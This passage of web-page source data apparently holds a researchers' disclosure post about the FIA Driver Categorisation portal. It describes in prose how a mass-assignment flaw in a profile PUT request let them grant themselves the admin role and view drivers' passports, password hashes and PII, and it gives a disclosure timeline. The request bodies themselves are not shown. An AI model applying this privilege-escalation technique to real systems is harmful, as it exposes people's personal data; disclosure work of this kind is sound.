profile:\"}]],\"$undefined\"]}]\n3a:[\"$\",\"$L4f\",\"2843b9a56b2b800d9d02c26034778a4e,2843b9a56b2b800d9d02c26034778a4e\",{\"id\":\"2843b9a56b2b800d9d02c26034778a4e\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b800d9d02c26034778a4e:title\",\"updatedAt\":1759813744732,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n3b:[\"$\",\"p\",\"2843b9a56b2b80f3a8fed3a5f1de5edc,2843b9a56b2b80f3a8fed3a5f1de5edc\",{\"id\":\"block-2843b9a56b2b80f3a8fed3a5f1de5edc\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:\",{\"children\":\"The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:\"}]],\"$undefined\"]}]\n3c:[\"$\",\"$L4f\",\"2843b9a56b2b8092b49bf4490c4e025c,2843b9a56b2b8092b49bf4490c4e025c\",{\"id\":\"2843b9a56b2b8092b49bf4490c4e025c\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b8092b49bf4490c4e025c:title\",\"updatedAt\":1761154796473,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n3d:[\"$\",\"p\",\"2843b9a56b2b806fa8b9c037bc6d871e,2843b9a56b2b806fa8b9c037bc6d871e\",{\"id\":\"block-2843b9a56b2b806fa8b9c037bc6d871e\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-The JSON HTTP response for updating our own profile contained the \\\"roles\\\" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.\",{\"children\":\"The JSON HTTP response for updating our own profile contained the \\\"roles\\\" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.\"}]],\"$undefined\"]}]\n3e:[\"$\",\"div\",\"2843b9a56b2b80fbbb97f879ca7e4cda,2843b9a56b2b80fbbb97f879ca7e4cda\",{\"id\":\"block-2843b9a56b2b80fbbb97f879ca7e4cda\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"JavaScript from the FIA Driver Categorisation portal.\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public\",\"width\":1000,\"height\":1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public\"}],\"\"]}]\n3f:[\"$\",\"p\",\"2843b9a56b2b8076b206eecaa9e88245,2843b9a56b2b8076b206eecaa9e88245\",{\"id\":\"block-2843b9a56b2b8076b206eecaa9e88245\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:\",{\"children\":\"Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:\"}]],\"$undefined\"]}]\n40:[\"$\",\"$L4f\",\"2843b9a56b2b80659cddc18d808ccd83,2843b9a56b2b80659cddc18d808ccd83\",{\"id\":\"2843b9a56b2b80659cddc18d808ccd83\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b80659cddc18d808ccd83:title\",\"updatedAt\":1759813762008,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n41:[\"$\",\"p\",\"2843b9a56b2b80d8afa4f739a308aefe,2843b9a56b2b80d8afa4f739a308aefe\",{\"id\":\"block-2843b9a56b2b80d8afa4f739a308aefe\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.\",{\"children\":\"Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.\"}]],\"$undefined\"]}]\n42:[\"$\",\"$L4f\",\"2843b9a56b2b8021ba9edadcbe414786,2843b9a56b2b8021ba9edadcbe414786\",{\"id\":\"2843b9a56b2b8021ba9edadcbe414786\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b8021ba9edadcbe414786:title\",\"updatedAt\":1759813765251,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n43:[\"$\",\"p\",\"2843b9a56b2b80128aa5e4634df8e8e3,2843b9a56b2b80128aa5e4634df8e8e3\",{\"id\":\"block-2843b9a56b2b80128aa5e4634df8e8e3\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.\",{\"children\":\"We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.\"}]],\"$undefined\"]}]\n44:[\"$\",\"div\",\"2843b9a56b2b809b971ed611ad91ac3b,2843b9a56b2b809b971ed611ad91ac3b\",{\"id\":\"block-2843b9a56b2b809b971ed611ad91ac3b\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"Accessing the driver categorisation portal as an administrator.\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public\",\"width\":1000,\"height\"
872:1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public\"}],\"\"]}]\n45:[\"$\",\"p\",\"2843b9a56b2b800db3faf7a7226c16df,2843b9a56b2b800db3faf7a7226c16df\",{\"id\":\"block-2843b9a56b2b800db3faf7a7226c16df\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.\",{\"children\":\"To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.\"}]],\"$undefined\"]}]\n46:[\"$\",\"div\",\"2843b9a56b2b806f85f4e5d36110d92c,2843b9a56b2b806f85f4e5d36110d92c\",{\"id\":\"block-2843b9a56b2b806f85f4e5d36110d92c\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"Internal FIA comments about the categorisation of a professional F1 driver.\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public\",\"width\":1000,\"height\":1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public\"}],\"\"]}]\n47:[\"$\",\"p\",\"2843b9a56b2b80c6a2fcd96f2fe12615,2843b9a56b2b80c6a2fcd96f2fe12615\",{\"id\":\"block-2843b9a56b2b80c6a2fcd96f2fe12615\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. \",{\"children\":\"We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"1-We did not access any passports / sensitive information and all data has been deleted.\",{\"children\":\"We did not access any passports / sensitive information and all data has been deleted.\"}]}]],\"$undefined\"]}]\n48:[\"$\",\"div\",\"2933b9a56b2b8099a8fdfc81e630be86,2933b9a56b2b8099a8fdfc81e630be86\",{\"id\":\"block-2933b9a56b2b8099a8fdfc81e630be86\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public\",\"alt\":\"image\",\"width\":709.8828125,\"height\":147.16537196754882,\"objectFit\":\"contain\",\"objectPosition\":\"center\",\"priority\":\"$undefined\",\"sizes\":\"(max-width: 546px) 100vw, 100vw\",\"style\":{\"height\":\"auto\"},\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public\"}],\"\"]}]\n49:[\"$\",\"$1\",\"2843b9a56b2b800bafbfde7ba90e9f96,2843b9a56b2b800bafbfde7ba90e9f96\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"id\":\"2843b9a56b2b800bafbfde7ba90e9f96\"}],[\"$\",\"h3\",null,{\"id\":\"block-2843b9a56b2b800bafbfde7ba90e9f96\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Disclosure timeline\",{\"children\":\"Disclosure timeline\"}]],\"$undefined\"]}]]}]\n4a:[\"$\",\"ul\",\"2843b9a56b2b80d0acdbc56f4201c6be,2843b9a56b2b80d0acdbc56f4201c6be\",{\"className\":\"notion-bulleted-list\",\"children\":[[\"$\",\"li\",\"2843b9a56b2b80d0acdbc56f4201c6be\",{\"id\":\"block-2843b9a56b2b80d0acdbc56f4201c6be\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-06/03/2025: Initial disclosure to FIA via email and Linkedin\",{\"children\":\"06/03/2025: Initial disclosure to FIA via email and Linkedin\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2843b9a56b2b808099f5ca0414a077d7\",{\"id\":\"block-2843b9a56b2b808099f5ca0414a077d7\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-06/03/2025: Initial response from FIA, site taken offline\",{\"children\":\"06/03/2025: Initial response from FIA, site taken offline\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2843b9a56b2b8079bafbf0c0ef6a69cf\",{\"id\":\"block-2843b9a56b2b8079bafbf0c0ef6a69cf\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-06/10/2025: Official response from FIA informing us of a comprehensive fix\",{\"children\":\"06/10/2025: Official response from FIA informing us of a comprehensive fix\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2843b9a56b2b80e197a6ecee1b918f07\",{\"id\":\"block-2843b9a56b2b80e197a6ecee1b918f07\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-10/22/2025: Release of blog post, public disclosure\",{\"children\":\"10/22/2025: Release of blog post, public disclosure\"}]],\"$undefined\"]}]]}]\n4b:[\"$\",\"$1\",\"2933b9a56b2b807c80efe36700d9d249,2933b9a56b2b807c80efe36700d9d249\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"
872id\":\"2933b9a56b2b807c80efe36700d9d249\"}],[\"$\",\"h2\",null,{\"id\":\"block-2933b9a56b2b807c80efe36700d9d249\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Collaborators\",{\"children\":\"Collaborators\"}]],\"$undefined\"]}]]}]\n4c:[\"$\",\"ul\",\"2953b9a56b2b80858241cb0c13079977,2953b9a56b2b80858241cb0c13079977\",{\"className\":\"notion-bulleted-list\",\"children\":[[\"$\",\"li\",\"2953b9a56b2b80858241cb0c13079977\",{\"id\":\"block-2953b9a56b2b80858241cb0c13079977\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Ian Carroll (\",{\"children\":\"Ian Carroll (\"}],[\"$\",\"$L4e\",\"https://x.com/iangcarroll\",{\"className\":\"link\",\"uri\":\"https://x.com/iangcarroll\",\"serverHref\":\"$undefined\",\"children\":[\"$\",\"$1\",\"1-https://x.com/iangcarroll\",{\"children\":\"https://x.com/iangcarroll\"}]}],[\"$\",\"$1\",\"2-)\",{\"children\":\")\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2953b9a56b2b80479191c2f5e55585fd\",{\"id\":\"block-2953b9a56b2b80479191c2f5e55585fd\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Sam Curry (\",{\"children\":\"Sam Curry (\"}],[\"$\",\"$L4e\",\"https://x.com/samwcyo\",{\"className\":\"link\",\"uri\":\"https://x.com/samwcyo\",\"serverHref\":\"$undefined\",\"children\":[\"$\",\"$1\",\"1-https://x.com/samwcyo\",{\"children\":\"https://x.com/samwcyo\"}]}],[\"$\",\"$1\",\"2-) \",{\"children\":\") \"}]],\"$undefined\"]}],[\"$\",\"li\",\"2953b9a56b2b80889324c0154dcb5ce7\",{\"id\":\"block-2953b9a56b2b80889324c0154dcb5ce7\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Gal Nagli (\",{\"children\":\"Gal Nagli (\"}],[\"$\",\"$L4e\",\"https://x.com/galnagli\",{\"className\":\"link\",\"uri\":\"https://x.com/galnagli\",\"serverHref\":\"$undefined\",\"children\":[\"$\",\"$1\",\"1-https://x.com/galnagli\",{\"children\":\"https://x.com/galnagli\"}]}],[\"$\",\"$1\",\"2-)\",{\"children\":\")\"}]],\"$undefined\"]}]]}]\n"])</script>
872<script>self.__next_f.push([1,"8:null\nd:[[\"$\",\"title\",\"0\",{\"children\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\"}],[\"$\",\"meta\",\"2\",{\"name\":\"generator\",\"content\":\"Super\"}],[\"$\",\"meta\",\"3\",{\"name\":\"robots\",\"content\":\"index, follow\"}],[\"$\",\"meta\",\"4\",{\"property\":\"og:title\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"5\",{\"property\":\"og:description\",\"content\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\"}],[\"$\",\"meta\",\"6\",{\"property\":\"og:url\",\"content\":\"https://ian.sh/fia\"}],[\"$\",\"meta\",\"7\",{\"property\":\"og:site_name\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"8\",{\"property\":\"og:locale\",\"content\":\"en-US\"}],[\"$\",\"meta\",\"9\",{\"property\":\"og:image\",\"content\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\"}],[\"$\",\"meta\",\"10\",{\"property\":\"og:image:alt\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"11\",{\"property\":\"og:type\",\"content\":\"website\"}],[\"$\",\"meta\",\"12\",{\"name\":\"twitter:card\",\"content\":\"summary_large_image\"}],[\"$\",\"meta\",\"13\",{\"name\":\"twitter:title\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"14\",{\"name\":\"twitter:description\",\"content\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\"}],[\"$\",\"meta\",\"15\",{\"name\":\"twitter:image\",\"content\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\"}],[\"$\",\"meta\",\"16\",{\"name\":\"twitter:image:alt\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}]]\n"])</script>
872</body></html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.